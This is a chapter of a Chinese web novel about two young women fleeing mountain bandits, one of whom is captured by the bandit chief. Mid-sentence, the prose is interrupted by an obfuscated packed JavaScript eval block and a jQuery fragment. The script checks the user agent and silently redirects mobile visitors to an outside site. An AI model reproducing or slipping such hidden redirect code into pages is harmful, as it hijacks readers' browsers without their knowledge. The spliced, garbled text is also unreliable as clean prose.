“别怕小姐,没事了没事了。”秋棠将元窈抱在怀里,一下一下轻抚她的后背。
元窈吓破了胆,身子都僵着,直愣愣睁着眼睛失神。
秋棠怕她吓傻了,搓着她的手指一遍一遍叫她。
“别怕小姐,别怕别怕。”秋棠自己也是怕的,几句话来回念叨,自己说了什么都不知道,“这是个梦,别怕……”
冰冷的手碰到脸上,元窈被冰得抖了抖,下意识抬手捂住脸,恰将秋棠的手压在自己脸上。
好凉……
元窈眨了眨眼睛,回神看向秋棠。她满脸水痕,泪簌簌地落,元窈痴痴抬起手抹去秋棠的泪,“别怕秋棠……”
“呜……”见元窈可算回过神,秋棠的情绪终于绷不住了,呜咽一声和她抱在一起。
这等情形,谁会不怕?
两人都是没经过事的姑娘,她哄元窈时自己何尝不是吓得连话都说不清。
无人驾车,马匹渐行渐缓停在路边,悠然吃着垂下来的树叶。
艳阳底下,惊魂未定的两个人相拥取暖,泣声渐渐平息。
片刻之后,天在一瞬间灰沉了,像是大雨前兆。
嗒——嗒哒——
元窈唰地睁开眼睛。
后方有马蹄声!
是谁追上来了?亲卫还是那伙山匪?
元窈脊骨僵紧,像是一只应激的猫,滞了两息倏地从秋棠怀里爬出来往马车后面看。
是几道黑影乘马疾行。
亲卫身有铁甲,远看绝不会是这样。
秋棠还没完全清醒,怀里空了半天她才回过神,也是这时元窈跌回来一双泪眼绝望:“秋棠……马车……”
元窈的心几乎跳到喉口,堵得她没法张口也没法呼吸,几乎憋着气吐出一句话:“你……驾车……”
嗒——嗒——
马蹄声震耳,秋棠恍然,她会骑马,但并不会驾车啊!
秋棠迅速跳下马车,元窈紧紧跟着,秋棠把她的衣裙拽起来掐成一团塞进她怀里,推着她催促:“小姐,你先往林子里跑!”
元窈抱着衣裙奔进高草中,秋棠手忙脚乱打开车板上的匣子拿出夹层最下面的匕首匆匆去追元窈。
才经夜里一场雨,林中湿滑,每每落步鞋底都深陷泥泞之中,才走出不远秋棠脚下已积出厚重的泥土,风吹树叶作响簌簌落下冰凉的水珠。
“给我找!一个小姑娘能跑多远!”
一道喝声入耳,秋棠心中咯噔一下,没想到他们这么快就追上来了。
又走几步秋棠脚下寸步难行,不得不停下清理泥土,回头看才发现自己一路拨草而来能轻易看出一道轨迹。秋棠顿感懊悔,只得加快脚步逃命。
元窈不如她受得住奔波,秋棠很快就发现前面异动的蒿草,几步就追了上去,领着她前进。
后方男人骂声越来越近,元窈踉跄几步后脚底一滑跌坐在地上,秋棠赶紧扶她起来,蓝白衣衫浸透紧紧贴附在她身上,湿冷的寒气渗透身体冻得她手脚发麻,两瓣柔软的嘴唇被咬得嫣红,元窈实在没什么力气了一把推开秋棠的手:“你先走吧秋棠。”
秋棠不想放弃坚持要扶她起来,两人拉扯间那把匕首掉了出来,元窈顺势捡起匕首再次推开秋棠,眼中闪过一抹决绝。
回忆马车上的景象,秋棠猜出元窈心中所想,紧紧抓住她的手,压低声音劝她:“小姐,事情还没到不可转圜的地步,我们拖延一会儿,兴许亲卫很快就赶来了。”
元窈被她说动,怔怔看了她一会儿,把匕首藏衣服里。
趁着山匪还没找到这边,秋棠带着元窈从另一个方向蹲着一点点往回挪,林中杂音很好的掩盖住两人行动的声音。
迟迟找不到人,为首山匪不由得怒火中烧,他站于高处握刀的手紧了紧到底是没压住火气怒喝一声转身狠狠砍向身旁的树,积压在树叶上的雨水簌簌掉落尽数林外他身上,青筋四起的臂膀更显狰狞,他眯着眼睛粗喘,下方蒿草的异动引起他的注意。
他站直身体,居高临下,一眼就瞄到绿油油的蒿草中有一抹天蓝色,“在那!”他指着元窈的位置喝道。
元窈回头就看到上面的人正指着自己,忙拉着秋棠站起来往下飞奔。
坡缓但林中异常滑,元窈奔着树跑,连跑带跌往树上撞以免摔倒,秋棠比她利索得多,两人落开几步远。
她们一路跌跌撞撞跑下来,山匪的马匹正在路边吃草,秋棠率先翻身上马,伸手想拉元窈。
元窈从未骑过马,踏不上脚蹬,她急得手都在抖,匆匆回头看他们追了上来,握紧了拳头一把甩开秋棠的手,扭头就跑。
“小姐!”秋棠大惊失色。
“你快走!不必管我!”元窈喊着。
就算上得了马,山匪擅骑马,恐怕她们跑不了多远就会被追上,与其拖累秋棠,倒不如为她争取时间逃跑。
元窈打定主意,头也不回的跑开,生死之际,她不知道疲惫一般,很快就跑出去老远。
“小姐!!”秋棠被元窈的举动震惊,山匪追过来朝她射箭,她不得不驾马逃离。
回头再看,元窈又奔进林中,山匪皆追她而去。
秋棠挥斥马鞭,加速往营地的方向跑,泪水断了线一般滚落,这个宁小姐!她才做几年家仆,这么快就让她背上弃主的骂名吗?!
在林中穿行,雨露淋透元窈的衣衫也冲去了她面庞血迹,疾跑又受着凉,嘴唇血色明亮,唇红肤白宛如林中精怪。
一颗石头咻地从后面飞过来,直直打在她肩上印出一块血痕,尖锐的痛感潮水般蔓延至整个肩膀,元窈闷哼一声摔倒在地,这一摔,就再无站起来的力气。
正当她费力想要爬起来时,陌生的气息逼近。
“死丫头!就是你杀了我兄弟?!!”一声怒骂敲痛耳根,紧随而来的就是头发被撕扯的疼痛。
熊掌似的手抓住元窈头发将她的脸拧过来,匪首扬起手想要教训这个不听话的少女,但在看清那双盈满泪水楚楚可怜的眼眸时蓦地僵住。
元窈瑟缩身子,瞧见他高高扬起来的手,一脸畏惧害怕,泣声否认:“不是的大人……不是我……”
她柔柔哭泣,身子不住地颤动害怕极了,楚楚可怜的,匪首见了不自觉地放松手上力气,另一只手滞在空中,迟迟落不下来。
其他土匪追上来见元窈已经被抓出,顺手抽出大刀抵在她身上。
长刀闪烁银光,锋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901430|176652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利亮眼,还有未干的血迹沾在上面。
“呜……”元窈怕得直往匪首身上躲。
纤细香软的身子撞进怀里,匪首心神荡漾,横眉瞅着手下,啧声:“把刀收起来!”
手下不愿,一脸震惊提醒:“老大你没看到二当家的尸首吗!”
脖子上那么大一个血窟窿,人是活生生被捅死的,可见这死丫头下手有多狠。
数道冷涔涔的目光落在元窈身上,她垂首抬眼,噙着泪摇头:“不是我……”
她模样美,这等姿态更让人生怜,用刀架着她的土匪看得手一抖,刀刃划过元窈手背留下一道血痕。
元窈紧紧咬着嘴唇,怕极了,动都不敢动一下。
土匪没想到她皮肤这样嫩,这就伤到了,把刀往后抽走,抬头,被匪首警告地看了一眼。
匪首看着元窈手上的伤,压下嘴角一把抓起她那只手打量,除了手背上的刀伤上面还有被枝条划破的伤痕。
这双手,干净白嫩,可能是因为害怕,手指微微蜷着。
这么一双柔若无骨的手,看着连刀都拿不稳。
“这手能杀人?”匪首冷哼一声,“她丫鬟呢?”
“这……”几个土匪面面相觑,他们跟过来抓人,谁都没管那个逃跑的丫鬟。
“她丫鬟杀了二当家,她也得偿命!”一人对元窈面露凶相。
元窈腿软了一样跌坐在地,仰头拽着匪首裤角,哀哀辩解:“她不是我的丫鬟……是武安侯安排的……”
声音可怜凄婉。
匪首又是心神一荡,这么多年他烧杀抢掠什么恶事没做过,寻常姑娘见到他就闻风丧胆恨不能以死明志,窑子里的又谄媚风尘,现却有这样一个娇滴滴的小美人在他身边委屈……
“偿命?那也得去找霍褚偿命!”提及霍褚,匪首眼中阴翳,他将手中刀收入鞘中,低头看了看元窈:“这小美人算是我向他讨的利息!”
话音落,他一把抓向元窈。
同时,倾盆大雨落下。
“怎么回事?!怎么少了这么多人?!”洪亮男声穿过雨幕。
雨声嘈杂,回话的人不得不扯开喉咙:“有山匪拦住了一位姑娘的马车,副卫让我们先送其他姑娘回城!”
“是谁家姑娘?!”他驾马往后走。
楼语诗听见这段对话心觉不好,一把推开轿厢后面的车窗,风雨啪啪砸在脸上,雨幕灰朦,依稀可见马车。
“大人!”楼语诗叫住子恺,“是宁淑仪!”
廖家的马车还在,那只能是最后面的宁淑仪被截了。
宁家女?子恺眉头紧锁,宁家女可和别的姑娘不同。
他走回前头吩咐亲卫:“你们先送小姐们回城,我们过去救人。”
“大人——”子恺话音刚落,前头这辆马车推开车门,不见其人只闻其声:“大人还是先将我们送进城吧,雨这样大,万一再有什么险情可怎么办?不能只顾她一个不顾我们吧?”
“可——”“是啊,都有那么多亲卫护着她了,难道你们只管着她,不管我们?”又有一道女声。
一队马车,前后就几个亲卫相护,子恺确实难做,想了想沉声留下一句话,独身冲进小路。